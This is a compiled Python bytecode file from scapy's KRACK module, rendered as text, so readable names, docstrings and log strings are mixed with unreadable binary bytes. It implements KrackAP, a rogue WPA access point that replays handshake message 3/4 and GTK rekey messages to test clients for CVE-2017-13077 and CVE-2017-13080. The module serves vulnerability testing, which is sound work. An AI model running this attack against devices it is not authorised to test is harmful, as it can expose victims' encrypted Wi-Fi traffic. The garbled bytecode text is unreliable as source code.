
    h`y                        d dl Z d dlZd dlmZ d dlZd dlZd dlmZ d dlm	Z	 d dl
mZ d dlmZmZ d dlmZ d dlmZ d d	lmZmZ d d
lmZ d dlmZ d dlmZmZmZmZmZm Z m!Z!m"Z"m#Z#m$Z$m%Z%m&Z&m'Z'm(Z( d dl)m*Z* d dl+m,Z,m-Z-m.Z.m/Z/ d dl0m1Z1 d dl2m3Z3 d dl4m5Z5m6Z6 d dl7m8Z8 d dl9m:Z:m;Z;m<Z<m=Z=m>Z>m?Z?m@Z@mAZAmBZB  G d de1          ZC G d de          ZDdS )    N)count)hashes)
PBKDF2HMAC)default_backend)ATMT	Automaton)Net)conf)rawchb)LINUX)log_runtime)AKMSuiteDot11Dot11AssoReqDot11AssoResp	Dot11AuthDot11BeaconDot11EltDot11EltDSSSetDot11EltRSNDot11EltRatesDot11ProbeReqDot11ProbeRespRSNCipherSuiteRadioTap)EAPOL)ARPLLCSNAPEther)DHCP_am)Raw)hexdumpmac2str)RandBin)	parse_data_pktparse_TKIP_hdrbuild_TKIP_payloadcheck_MIC_ICVMICErrorICVErrorbuild_MIC_ICVcustomPRF512ARC4_encryptc                   (     e Zd ZdZ fdZd Z xZS )DHCPOverWPAz:Wrapper over DHCP_am to send and recv inside a WPA channelc                 V     t          t          |           j        |i | || _        d S N)superr1   __init__send_function)self	send_funcargskwargs	__class__s       a/mounts/lovelace/software/anaconda3/lib/python3.11/site-packages/scapy/modules/krack/automaton.pyr5   zDHCPOverWPA.__init__5   s3    )k4  )4:6:::&    c                     d S r3    )r7   r9   r:   s      r<   sniffzDHCPOverWPA.sniff9   s    r=   )__name__
__module____qualname____doc__r5   r@   __classcell__r;   s   @r<   r1   r1   2   sM        DD' ' ' ' '      r=   r1   c                       e Zd ZdZdZ fdZ	 	 	 	 	 	 	 	 dD fd	Z fd	Zed
             Z	d Z
d Zd Zd Ze	 	 	 	 	 	 dEd            Zd ZddgdfdZd ZdFdZd Zd Z ej        d          d             Z ej                    d             Z ej                    d             Z ej                    d             Z ej                    d             Z ej                    d             Z ej                    d              Z ej        ed!          d"             Z ej                    d#             Z  ej                    d$             Z! ej                    d%             Z" ej        d!&          d'             Z# ej        e!d!          d(             Z$ ej        ed)          d*             Z% ej&        e%          d+             Z' ej(        e          d,             Z) ej&        e)          d-             Z* ej(        e          d.             Z+ ej&        e+          d/             Z, ej(        e          d0             Z- ej&        e-          d1             Z. ej/        e          d2             Z0 ej&        e0          d3             Z1 ej(        e          d4             Z2 ej&        e2          d5             Z3 ej(        e          d6             Z4 ej/        e          d7             Z5 ej&        e5          dGd9            Z6 ej(        e          d:             Z7 ej&        e7          d;             Z8 ej/        e           d<             Z9 ej&        e9          d=             Z: ej(        e!          d>             Z; ej&        e;          d?             Z< ej        e"d@          dA             Z= ej(        e"          dB             Z> ej&        e>          dC             Z? xZ@S )HKrackAPa5  Tiny WPA AP for detecting client vulnerable to KRACK attacks defined in:
    "Key Reinstallation Attacks: Forcing Nonce Reuse in WPA2"

    Example of use:
    KrackAP(
        iface="mon0",               # A monitor interface
        ap_mac='11:22:33:44:55:66', # MAC to use
        ssid="TEST_KRACK",          # SSID
        passphrase="testtest",      # Associated passphrase
    ).run()

    Then, on the target device, connect to "TEST_KRACK" using "testtest" as the
    passphrase.
    The output logs will indicate if one of the CVE have been triggered.
    2   c                     |                     dt          j                   t          s|                     dd            t	          t
          |           j        |i | d S )NllmonitorT)
setdefaultr
   L2socketr   r4   rH   r5   )r7   r9   kargsr;   s      r<   r5   zKrackAP.__init__T   sa    t}--- 	.Y---%gt%t5u55555r=   NTr   
   c                 0    t          t          |           j        di | || _        || _        || _        |d}|| _        d| _        d| _        t                      | _
        t                      | _        d| _        t          | j        t          d          dd          | _        g | _        d| _        d| _        d| _        || _        || _        || _        || _        |	| _        |
| j        j        }
|
| _        || _        |                                  dS )	a4  
        Mandatory arguments:

        :param iface: interface to use (must be in monitor mode)
        :param ap_mac: AP's MAC
        :param ssid: AP's SSID
        :param passphrase: AP's Passphrase (min 8 char.)

        Optional arguments:

        :param channel: used by the interface. Default 6

        Krack attacks options:

         - Msg 3/4 handshake replay:

        :param double_3handshake: double the 3/4 handshake message
        :param encrypt_3handshake: encrypt the second 3/4 handshake message
        :param wait_3handshake: time to wait (in sec.) before sending the
            second 3/4

        - double GTK rekeying:

        :param double_gtk_refresh: double the 1/2 GTK rekeying message
        :param wait_gtk: time to wait (in sec.) before sending the GTK rekeying
        :param arp_target_ip: Client IP to use in ARP req. (to detect attack
            success). If None, use a DHCP server
        :param arp_source_ip: Server IP to use in ARP req. (to detect attack
            success). If None, use the DHCP server gateway address
        N   z192.168.42.128/25z192.168.42.0/24z192.168.42.1)r8   poolnetworkgwr   r?   )r4   rH   
parse_argsmacssid
passphrasechannellast_ivclientr   seq_numreplay_countertime_handshake_endr1   send_ether_over_wpar	   dhcp_serverarp_sentarp_to_send	arp_retrykrack_statedouble_3handshakeencrypt_3handshakewait_3handshakedouble_gtk_refresharp_target_iprU   arp_source_ipwait_gtkinstall_PMK)r7   ap_macrX   rY   rZ   rf   rg   rh   ri   rj   rk   rl   r:   r;   s                r<   rV   zKrackAP.parse_argsZ   s4   R 	(gt'11&111 	$?G ww#gg"&&1I,/0C,D,D/@*8: : : 
  "3"4."4*  ,/M*  	r=   c                     t          j        d| j        | j                    t	          t
          |           j        |i | d S )Nz$AP started with ESSID: %s, BSSID: %s)r   warningrX   rW   r4   rH   run)r7   r9   r:   r;   s      r<   rq   zKrackAP.run   sL    B Itx	1 	1 	1 gt $1&11111r=   c                 :    t          t          |                     S )z;Return a nonce of @size element of random bytes as a string)r   r&   )sizes    r<   	gen_noncezKrackAP.gen_nonce   s     74==!!!r=   c                     t          t          j                    d| j                                        dt                                                    | j                                                  | _        dS )zCompute and install the PMK    i   )	algorithmlengthsalt
iterationsbackendN)	r   r   SHA1rX   encoder   deriverY   pmkr7   s    r<   rm   zKrackAP.install_PMK   se    kmm!!###%%
 
 
 &''))
*
* 	r=   c                    | j         }| j        }|}t          | j                  }t          | j                  }t          |||||          | _        | j        dd         | _        | j        dd         | _        | j        dd         | _	        | j        dd         | _
        | j        dd         | _        t                      | _        dS )z~Use the client nonce @client_nonce to compute and install
        PTK, KCK, KEK, TK, MIC (AP -> STA), MIC (STA -> AP)
        N   rv   0   8   @   )r   anoncer%   rW   r\   r.   ptkkckkektkmic_ap_to_stamic_sta_to_apr   	client_iv)r7   client_noncer   r   snonceamacsmacs          r<   install_unicast_keyszKrackAP.install_unicast_keys   s     htx  t{##  T4@@ 8CRC=8BrE?(2b5/!Xbe_!Xbe_ r=   c                     |                      d          | _        | j        dd         | _        | j        dd         | _        t	                      | _        dS )zbCompute a new GTK and install it alongs
        MIC (AP -> Group = broadcast + multicast)
        rv   Nr      )rt   gtk_fullgtkmic_ap_to_groupr   group_ivr   s    r<   install_GTKzKrackAP.install_GTK   sO     r**="%  $}RU3 r=   c                    t          t          j                    dz            dz  }t                      t          || j        | j                  z   ||dd          z  t          d| j                  z  t          g d	
          z  t          | j	                  z  t          t          d          t          d          gt          d          g          z  S )z^Build a packet with info describing the current AP
        For beacon / proberesp use
        g    .Al    addr1addr2addr3d   zESS+privacy)	timestampbeacon_intervalcapSSID)IDinfo                  r   $   rates)rZ      )cipher)suite)group_cipher_suitepairwise_cipher_suites
akm_suites)inttimer   r   rW   r   rX   r   r   rZ   r   r   r   )r7   	layer_clsdesttss       r<   build_ap_info_pktzKrackAP.build_ap_info_pkt   s     s"##&88zz$dhdh???@i"c)+ + ++ &ty111	2
 "F"F"FGGGH T\2223 ^3-G-G-G2@2L2L2L1M&.S&9&9&9%:< < <	< 		<r=   r   c	                    t          dd          }	t                              d          }
|dk    sJ |dk    sJ d                    t	          |          t          j        d|           dt          j        d	|          ||
t          j        d	|          t          j        d	|          g          }t          |          }|d
z  }||||dz  }|	t          |          z  S |J |J |J t          |
|z   |d          }|t          j        dt          |                    z  }||z  }|	
                                }|t          |          z  }t          |t                              }t          j        ||t          j                                                  }|d |         |z   ||t          |          z   d          z   }t          |          t          |          k    sJ |	t          |          z  S )Nz802.1X-2004z	EAPOL-Key)versiontyper   r   r=   z>Hs     z>Qs                        )load   )skip)r   rH   rt   joinr   structpacklenr#   r/   copyr   hmacnewhashlibmd5digest)key_informationr^   noncedatakey_mickey_data_encryptkey_rsckey_idkey_descriptor_typepktkey_ivpayload
offset_MICenc_datatemp_micto_micmicfinal_payloads                     r<   build_EAPOL_Key_8021X2004z!KrackAP.build_EAPOL_Key_8021X2004   s    M<<<""2&&!||||{{{{((#$$Ko..Kn--Kg&&Kf%%	
 	 	 \\
>!<GO0@0H {"G'*****"""+++  )9 94cJJJ6;tSYY///8 88::CW%%%%Xe_%%hw44;;==,s2WZ#c((=R=S=S5TT=!!S\\1111Sm,,,,,r=   c                     d                     dt          t          | j                  dz             ddd| j        g          S )z[Build the Key Data Encapsulation for GTK
        KeyID: 0
        Ref: 802.11i p81
        r=      rR   s       r   )r   r   r   r   r   s    r<   build_GTK_KDEzKrackAP.build_GTK_KDE@  sJ    
 xxDM""Q&''M
   	r=   from-DSc	           
         || j         }t                      }	|	t          || j        | j        d                    dg|z             t          | j                  dz  dd          z  }	t          t          |          || j        |          }
|	t          t          |
|| j        |                    z  }	|                     |	           |	S )zuSend an encrypted packet with content @data, using IV @iv,
        sequence number @seqnum, MIC key @mic_key
        N+	protected   r   Datar   r   r   FCfieldSCsubtyper   )r   r   r   rW   r   nextr]   r-   r   r#   r)   send)r7   r   ivseqnumr   mic_keykey_idxadditionnal_flagencrypt_keyrepdata_to_encs              r<   send_wpa_enczKrackAP.send_wpa_encN  s     'Kjju((HHk]-==>>T\""a'
 
 
 	
 $CIIw$GG 	s%k2txMMNNN		#
r=   c                     |                     d| j                    | j        |t          | j                  t          | j                  | j        | j        fi |S Nr   )rM   r   r   r   r   r]   r\   r   )r7   r   r:   s      r<   send_wpa_to_clientzKrackAP.send_wpa_to_clientn  sc    -111 t tDN';';!%dl!3!3T[!%!3? ?7=? ? 	?r=   ff:ff:ff:ff:ff:ffc                     |                     d| j                    | j        |t          | j                  t          | j                  || j        fi |S r   )rM   r   r   r   r   r]   r   )r7   r   r   r:   s       r<   send_wpa_to_groupzKrackAP.send_wpa_to_groupt  sf    -222 t tDM':':!%dl!3!3T!%!5A A9?A A 	Ar=   c                     t                      t                      z  |t                   j        z  }|j        }|dk    r|                     ||           dS || j        k    sJ |                     |           dS )zSend an Ethernet packet using the WPA channel
        Extra arguments will be ignored, and are just left for compatibility
        r   N)r   r    r!   r   dstr   r\   r   )r7   r   r:   r   r   s        r<   r`   zKrackAP.send_ether_over_wpaz  s}    
 %%$&&.3u:#55w&&&""7D111114;&&&&##G,,,,,r=   c                 X   t           |v rHt          | j        | j                  |t                    j        z  }| j                            |           t          |v r|t                   j        dk    r|t                   j	        | j        j
        k    r| j        1|t                   j        | _        t          j        d| j                   t                      t                      z  t          d| j        | j        | j        | j                  z  }|                     |           d S d S d S d S )N)srcr      zDetected IP: %szis-at)oppsrcpdsthwsrchwdst)r    r!   r\   rW   r   ra   replyr   r  r  rU   rj   r  r   r   r   rk   r   )r7   r   	ether_pktARP_anss       r<   deal_common_pktzKrackAP.deal_common_pkt  s    3;;$+48<<<s4y?PPI""9--- #::s8;!C1A1D D D!)%(X]" !2D4FGGG eedffns''hk( ( ( G ##G,,,,, : D Dr=   )initialc                 .    t          j        d           d S )NzState WAIT_AUTH_REQUESTr   debugr   s    r<   WAIT_AUTH_REQUESTzKrackAP.WAIT_AUTH_REQUEST  s    344444r=   c                 .    t          j        d           d S )NzState AUTH_RESPONSE_SENTr  r   s    r<   AUTH_RESPONSE_SENTzKrackAP.AUTH_RESPONSE_SENT  s    455555r=   c                 .    t          j        d           d S )NzState ASSOC_RESPONSE_SENTr  r   s    r<   ASSOC_RESPONSE_SENTzKrackAP.ASSOC_RESPONSE_SENT  s    566666r=   c                 .    t          j        d           d S )NzState WPA_HANDSHAKE_STEP_1_SENTr  r   s    r<   WPA_HANDSHAKE_STEP_1_SENTz!KrackAP.WPA_HANDSHAKE_STEP_1_SENT      ;<<<<<r=   c                 .    t          j        d           d S )NzState WPA_HANDSHAKE_STEP_3_SENTr  r   s    r<   WPA_HANDSHAKE_STEP_3_SENTz!KrackAP.WPA_HANDSHAKE_STEP_3_SENT  r  r=   c                 .    t          j        d           d S )NzState KRACK_DISPATCHERr  r   s    r<   KRACK_DISPATCHERzKrackAP.KRACK_DISPATCHER      233333r=   c                 .    t          j        d           d S )NzState ANALYZE_DATAr  r   s    r<   ANALYZE_DATAzKrackAP.ANALYZE_DATA  s    ./////r=   r  c                 *    |                                  r3   )r  r   s    r<   timeout_analyze_datazKrackAP.timeout_analyze_data  s    ##%%%r=   c                 .    t          j        d           d S )NzState RENEW_GTKr  r   s    r<   	RENEW_GTKzKrackAP.RENEW_GTK  s    +,,,,,r=   c                 .    t          j        d           d S )NzState WAIT_GTK_ACCEPTr  r   s    r<   WAIT_GTK_ACCEPTzKrackAP.WAIT_GTK_ACCEPT  s    122222r=   c                 .    t          j        d           d S )NzState WAIT_ARP_REPLIESr  r   s    r<   WAIT_ARP_REPLIESzKrackAP.WAIT_ARP_REPLIES  r  r=   )finalc                 .    t          j        d           d S )Nz
State EXITr  r   s    r<   EXITzKrackAP.EXIT  s    ,'''''r=   c                 *    |                                  r3   )r"  r   s    r<   timeout_wait_gtk_acceptzKrackAP.timeout_wait_gtk_accept  s    nnr=   g?c                 *    |                                  r3   )r  r   s    r<   timeout_waitingzKrackAP.timeout_waiting  s    $$&&&r=   c                     t          j        d           |                     t          d          }|                     |           d S )NzSend a beaconr   r   )r   r  r   r   r   r7   r   s     r<   send_beaconzKrackAP.send_beacon  s?    /***$$[7J$KK		#r=   c                     t           |vrd S t          |v rG|t          d ddi         j        | j        k    r)|                                                     |          d S d S Nr   r   )r   r   r   r   rX   r  action_parametersr7   r   s     r<   probe_request_receivedzKrackAP.probe_request_received  sm     3FCC(;4)(;$<$ATY$N$N((**<<SAAA  $N$Nr=   c                 r    |                      t          |j                  }|                     |           d S )Nr/  )r   r   r   r   r7   r   r   s      r<   send_probe_responsezKrackAP.send_probe_response  s/    $$^#)$DD		#r=   c                     t           |vrd S t          |v rG|j        |j        cxk    r| j        k    r-n d S |                                                     |          d S d S r3   )r   r   r   r   rW   r  r4  r5  s     r<   authent_receivedzKrackAP.authent_received  sw     3F	SY B B B B$( B B B B B B))++==cBBB  B Br=   c                 r   |j         | _        t          j        d| j                   |                                  t                      }|t          | j        | j        | j                  z  }|t          d|t                   j	        |t                   j
                  z  }|                     |           d S )NzClient %s connected!r   r   )r   algostatus)r   r\   r   rp   ra   r   r   rW   r   r=  r>  r   r8  s      r<   send_auth_responsezKrackAP.send_auth_response  s     i2DK@@@ 	jju4;dhdhGGGGyI(; #I 57 7 7 	7 			#r=   c                     t           |v rg|j        |j        cxk    r| j        k    rMn d S |t          d ddi         j        | j        k    r+|                                                     |          d S d S d S r3  )	r   r   r   rW   r   r   rX   r  r4  r5  s     r<   assoc_receivedzKrackAP.assoc_received  s    339	#E#E#E#ETX#E#E#E#E#E#Ex"$"#(DI55**,,>>sCCC #E#E55r=   c                    |t           d ddi                                         }|                                 t          |          | _        | j        d d         dz   | _        t                      }|t          | j        | j        | j                  z  }|t                      z  }|t          g d          z  }|                     |           d S )Nr   r   r   r   r   r   )r   r   remove_payloadr   RSNr   r   r\   rW   r   r   r   )r7   r   temp_pktr   s       r<   send_assoc_responsezKrackAP.send_assoc_response  s     x+$+,1133!!!x==8CRC=;.jju4;dhdhGGGG}}#G#G#GHHHH		#r=   c                 *    |                                  r3   )r  r   s    r<   
assoc_sentzKrackAP.assoc_sent  s    ,,...r=   c           
         |                      d          | _        t                      }|t          | j        | j        | j        dt          | j                  dz            z  }|t          ddd          z  }|t          dd	
          z  }|| 
                    dt          | j                  | j                  z  }|                     |           d S )Nrv   r   r   r   r   r   r   r         dsapssapctrlr   鎈  OUIcode   )r   r^   r   )rt   r   r   r   r\   rW   r   r]   r   r    r   r^   r   r0  s     r<   send_wpa_handshake_1zKrackAP.send_wpa_handshake_1   s     nnR((jju+((T\""a'
 
 
 	
 	s4a0000t''''t--  344+ . 
 
 	
 			#r=   c                     t           |vrd S t          |v re|j        |j        cxk    r| j        k    rKn d S |t                   j        dd         dk    r+|                                                     |          d S d S d S )Nr  r   r   )r   r   r   r   rW   r   r  r4  r5  s     r<   wpa_handshake_1_sentzKrackAP.wpa_handshake_1_sent7  s     3FC<<CI>>>>dh>>>>>>u:?1Q37** 0022DDSIII	 <>>**r=   c           
      ~   |t                    j        dd         }|                     |           |t                    j        dd         }t          |t                                                  |dt          |          z            }t          j        | j        |t          j
                                                  |k    sJ t                      }|t          | j        | j        | j        dt!          | j                  dz            z  }|t%          d	d	d
          z  }|t'          dd          z  }|                                  | j        }||                                 z  }|                     dt!          | j                  | j        || j        | j                  }|                     ||z             d S )N   -   M   ]       r   r   rK  rL  rM  rN  r   rR  rS    r   r^   r   r   r   r   )r   r   r   r   replacer   r   r   r   r   r   r   r   r   r\   rW   r   r]   r   r    r   rE  r   r   r^   r   r   r   )r7   r   r   
client_micclient_datar   r   eaps           r<   send_wpa_handshake_3zKrackAP.send_wpa_handshake_3B  s    5zr)|4!!,/// Z_RZ0
#e*oo--j'C
OO:STTx+w{;;BBDD
RRRRjju+((T\""a'
 
 
 	
 	s4a0000t''''x""$$$,," 344+H!X - 
 
 			#)r=   c                 
   t           |vrd S t          |v rj|j        |j        cxk    r| j        k    rPn d S |t                   j        dd         dk    r0t          j                    | _        |                                 d S d S d S )Nr  rM  s   	)	r   r   r   r   rW   r   r   r_   r  r5  s     r<   wpa_handshake_3_sentzKrackAP.wpa_handshake_3_sentl  s     3FC<<CI>>>>dh>>>>>>u:?1Q3;..&*ikkD#''))) <>>..r=   c                    t          j                     }| j        r]| j        dz  dk    rO|| j        z
  | j        k    r<t          j        d           |                                                     d          | j        dz  dk    r;|| j        z
  | j	        k    r(|                                                     d          |                                                                 )Nr  r   z Trying to trigger CVE-2017-13077T)send_3handshaker   )send_gtk)
r   rf   re   r_   rh   r   r   r  r4  rl   )r7   nows     r<   krack_dispatchzKrackAP.krack_dispatchv  s    ikk! 	Nt'7!';q'@'@$))T-AAA?@@@##%%777MMM q A%%$))T]::##%%777FFF !!33555r=   Fc           
         |r t                      }|t          | j        | j        | j        dt	          | j                  dz  dd          z  }|t          ddd          z  }|t          dd	
          z  }| j        }|| 	                                z  }| 
                    dt	          | j                  | j        || j        | j                  }||z  }| j        r!|                     |t                              n|                     |           | xj        dz  c_        |r8| xj        dz  c_        |                                  |                                 d S )Nr   r   r   r   r   rL  rM  rN  rR  rS  r`  ra  r  r   )r   r   r\   rW   r   r]   r   r    rE  r   r   r^   r   r   r   rg   r   r   re   r   r"  )r7   rj  rk  r   r   eap_2s         r<   krack_proceedzKrackAP.krack_proceed  s    %	"**C5khh!&&!+   C 3Dt!4444C4AF++++C8DD&&(((D22 !'#D$788k!% 3 
 
E 5LC& ''C1111		#! 	#!.."""		# 	#r=   c                    t           |vrd S |t                   j        j        rd S |t                   j        j        sd S |j        dk    r@t          |v r9|j        | j        k    r+| 	                                
                    |          d S d S d S Nr   )r   r   r   retryr   r   r#   r   rW   r  r4  r5  s     r<   get_datazKrackAP.get_data       3F u:# 	F 5z!+ 	F 8q==SCZZCI,A,A''));;C@@@ =ZZ,A,Ar=   c                 t   t          |          \  }}}|d         |d         dz  z  |d         dz  z  |d         dz  z  |d         d	z  z  |d
         dz  z  }t          j        dt          |                     | j        || _        n|| j        k    rt          j        d           d }t          || j                  }	 t          || j	        |j
        |j                  }n# t          t          f$ r Y nw xY w|t          |dt          | j                  z            }	 dt          | j	                  z  }t          |||j
        |j                  }t          j        d           n# t          t          f$ r Y nw xY w|Nt          j        d           t          j        t!          |d                     |                     |           d S t          j        t!          |d                     t%          |          }t          j        t'          |                     |                     |           d S )Nr   r     r   r   rM  r   r   rv      (   zGot a packet with IV: %szQIV reuse!! Client seems to be vulnerable to handshake 3/4 replay (CVE-2017-13077)r_  z6Client has installed an all zero encryption key (TK)!!z1Unable to decode the packet, something went wrongTdump)r(   r   r   hexr[   rp   r'   r   r*   r   r   r   r,   r+   r   r  r$   r  r   repr)r7   r   TSC_r   
data_clearr   r   s           r<   
extract_ivzKrackAP.extract_iv  sj    #3''	QVs1v{#s1v|4A"EVr\!!fl,3SWW===<DLLT\!!# %7 & & &
 
 c47++	&tT-?'*y2 2JJ(# 	 	 	D	 !#wTW'=>>D!C(:$;$;;*4#)SYOO
# %< = = = =h'     !( ) ) )gc555666  %%%F'*4888999*oo$s))$$$S!!!!!s%    !C" "C65C6!AE) )E=<E=c                 *    |                                  r3   )r$  r   s    r<   	gtk_pkt_1zKrackAP.gtk_pkt_1  s    ""$$$r=   c                 &   t          ddd          }|t          dd          z  }|                                 }|                     dt	          | j                  | j        || j        | j                  }||z  }| 	                    |           d S )	NrL  rM  rN  r   rR  rS  i  ra  )
r   r    r   r   r   r^   r   r   r   r   )r7   
rep_to_encr   re  s       r<   send_renew_gtkzKrackAP.send_renew_gtk  s     dA666
dqv....
!!##,, # 344+H!X - 

 

 	c

+++++r=   c                 "   t           |vrd S |t                   j        j        rd S |t                   j        j        sd S 	 t          || j                  }n# t          $ r Y d S w xY w	 t          || j	        |j
        |j                  }n# t          t          f$ r Y d S w xY wt          |          }t          |v rR|j        |j        cxk    r| j        k    r8n d S |t                   j        dd         dk    r|                                 d S d S d S )Nr  rM  s   )r   r   r   rs  r   r'   r   
ValueErrorr*   r   r   r   r,   r+   r   r   r   rW   r   r&  )r7   r   r   r  	pkt_clears        r<   	get_gtk_2zKrackAP.get_gtk_2  sQ    3F u:# 	F 5z!+ 	F	!#tw//DD 	 	 	FF		&tT-?'*y2 2JJ(# 	 	 	FF	 
OO	I#)sy"D"D"D"DDH"D"D"D"D"D"DU 1%44''))) "D"D44s#   A 
A#"A#'!B	 	BBc           	      ^   | j         dz  dk    r| j        j                            | j        | j                  | _        | j        J t          j        d| j        | j                   | 	                    t                      t                      z  t          d| j        | j        | j                  z  d          }| j                            |           d S | j        t#          | j                  k     r7|                     | j        | j                            | xj        dz  c_        d S d| _        | xj        dz  c_        t          j        d	| j        | j                   | j        | j        k    r(t          j        d
           |                                 |                                 )Nr   r   z"Send ARP who-was from '%s' to '%s'zwho-has)r  r  r  r  r   r/  r  z&Trying to trigger CVE-2017-13080 %d/%dz1Client is likely not vulnerable to CVE-2017-13080)re   ra   leasesgetr\   rj   r   r   rk   r   r   r    r   rW   rb   appendrc   r   r   rd   ARP_MAX_RETRYrp   r)  r"  )r7   arp_pkts     r<   send_arp_reqzKrackAP.send_arp_req4  s    a1$$!%!1!8!<!<T[=A=O"Q "QD%111 A!/!/1 1 1 ,,	*.*<*.*<+/8"5 "5 "5 5 ) -  G M  )))))#dm"4"444		$-(89:::  A%     $% !# !I!%1CE E E>D$666' )9 : : :))++%nn&&&r=   g      ?c                 R    |                                   |                                 r3   )r  r&  r   s    r<   resend_arp_reqzKrackAP.resend_arp_req\  s&    ##%%%r=   c                    t           |vrd S |t                   j        j        rd S |t                   j        j        sd S |j        dk    r@t          |v r9|j        | j        k    r+| 	                                
                    |          d S d S d S rr  )r   r   r   rs  r   r   r#   r   rW   r&  r4  r5  s     r<   get_arpzKrackAP.get_arpa  ru  r=   c                    t          || j                  }	 t          || j        |j        |j                  }n# t          t          f$ r Y d S w xY wt          |          }t          j
        t          |d                     t          j
        t          |                     |                     |           t          |vrd S |t                   j        dk    r|t                   j        | j        k    r|t                   j        | j        k    rt| j        dz  dk    rLt          j        d           | xj        dz  c_        t          j        d           |                                 t          j        d           d S d S d S d S )	NTrz  r   r   r   zGot ARP reply, this is normalz Trying to trigger CVE-2017-13080z2Broadcast packet accepted twice!! (CVE-2017-13080))r'   r   r*   r   r   r   r,   r+   r   r   r  r$   r}  r  r   r  r  rj   r  rk   re   r   r"  rp   )r7   r   r   r  decoded_pkts        r<   check_arp_replyzKrackAP.check_arp_replyt  s   c47++	&tT-?'*y2 2JJ(# 	 	 	FF	 *oo'+D999:::${++,,,[)))k!!F s!##s D$666s D$666!#q(( !@AAA  A%   !CDDDnn&&& # %7 8 8 8 8 8 $#6666s   !9 AA)NTTr   TNNrP   )NNNr   r   r   )r   )FF)ArA   rB   rC   rD   r  r5   rV   rq   staticmethodrt   rm   r   r   r   r   r   r   r   r   r`   r  r   stater  r  r  r  r  r  r  timeoutr   r"  r$  r&  r)  r+  r-  actionr1  receive_conditionr6  r9  r;  r?  rA  rG  	conditionrI  rW  rY  rf  rh  rm  rp  rt  r  r  r  r  r  r  r  r  rE   rF   s   @r<   rH   rH   >   s        & M6 6 6 6 6  %)&*#$&*!%!%S S S S S Sj2 2 2 2 2 " " \"+ + +! ! !.     "< < <  
 ! !@- @- @- \@-D   )!%   @? ? ?A A A A- - -- - -4 TZ5 5 5 TZ\\6 6 \6 TZ\\7 7 \7 TZ\\= = \= TZ\\= = \= TZ\\4 4 \4 TZ\\0 0 \0 T\,""& & #"& TZ\\- - \- TZ\\3 3 \3 TZ\\4 4 \4 TZa( ( ( T\/1%%  &% T\#S))' ' *)' T[!!  "!
 T-..B B /.B T['((  )( T-..C C /.C T[!""  #"  T.//D D 0/D
 T[    !   T^'((/ / )(/ T[  , T566J J 76J T[%&&' ' '&'R T566* * 76* T^$%%6 6 &%6  T[  ,# ,# ,# ! ,#\ TL))A A *)A$ T[/" /" /"b T^I% % % T[, , ,, TO,,* * -,*: T[%' %' %'N T\"C((& & )(& T,--A A .-A$ T[8 8 8 8 8 8 8r=   rH   )Er   r   	itertoolsr   r   r   cryptography.hazmat.primitivesr   )cryptography.hazmat.primitives.kdf.pbkdf2r   cryptography.hazmat.backendsr   scapy.automatonr   r   scapy.base_classesr	   scapy.configr
   scapy.compatr   r   scapy.constsr   scapy.errorr   scapy.layers.dot11r   r   r   r   r   r   r   r   r   r   r   r   r   r   scapy.layers.eapr   scapy.layers.l2r   r   r    r!   scapy.layers.dhcpr"   scapy.packetr#   scapy.utilsr$   r%   scapy.volatiler&   scapy.modules.krack.cryptor'   r(   r)   r*   r+   r,   r-   r.   r/   r1   rH   r?   r=   r<   <module>r     s  
           1 1 1 1 1 1 @ @ @ @ @ @ 8 8 8 8 8 8 + + + + + + + + " " " " " "       ! ! ! ! ! ! ! !       # # # # # #                                 # " " " " " 1 1 1 1 1 1 1 1 1 1 1 1 % % % % % %       ( ( ( ( ( ( ( ( " " " " " "                     
	 	 	 	 	' 	 	 	T8 T8 T8 T8 T8i T8 T8 T8 T8 T8r=   